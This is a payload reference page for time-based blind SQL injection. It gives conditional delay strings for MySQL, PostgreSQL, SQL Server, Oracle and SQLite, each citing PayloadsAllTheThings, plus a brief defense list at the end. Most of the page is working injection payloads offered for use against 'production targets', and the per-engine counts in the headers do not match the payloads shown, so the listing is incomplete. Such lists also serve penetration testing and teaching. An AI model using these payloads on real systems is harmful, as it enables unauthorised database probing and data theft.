Time-Based Blind SQL Injection Payloads

Time-based blind injection is the last resort: the response never changes, so you infer true/false from how long the database takes to answer. Each engine has its own delay primitive, which also makes a reliable fingerprint. Use conservative delays and few requests on production targets — this technique is noisy and slow.

How to confirm: A conditional delay payload makes the response take roughly your configured number of seconds when the condition is true, and returns immediately when it is false.

MySQL / MariaDB Time-based blind payloads (3)

BENCHMARK delay

Time-based blind

' AND IF(SUBSTRING(VERSION(),1,1)='5',BENCHMARK(1000000,MD5(1)),0)-- 

Heavy query when condition is true.

PayloadsAllTheThings reference

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(VERSION(),1,1))='5' THEN (SLEEP(5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

PostgreSQL Time-based blind payloads (2)

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(version() FROM 1 FOR 1))='5' THEN (pg_sleep(5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

Microsoft SQL Server Time-based blind payloads (3)

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(@@VERSION,1,1))='5' THEN (WAITFOR DELAY '00:00:05') ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

Oracle Time-based blind payloads (2)

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTR((SELECT banner FROM v$version WHERE ROWNUM=1),1,1))='5' THEN (DBMS_PIPE.RECEIVE_MESSAGE('a',5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

SQLite Time-based blind payloads (2)

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(sqlite_version(),1,1))='5' THEN (randomblob(500000000)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

Defense

  • Parameterized queries prevent the injected delay.
  • Apply query timeouts and statement cost limits at the database.
  • Alert on repeated slow responses tied to one parameter.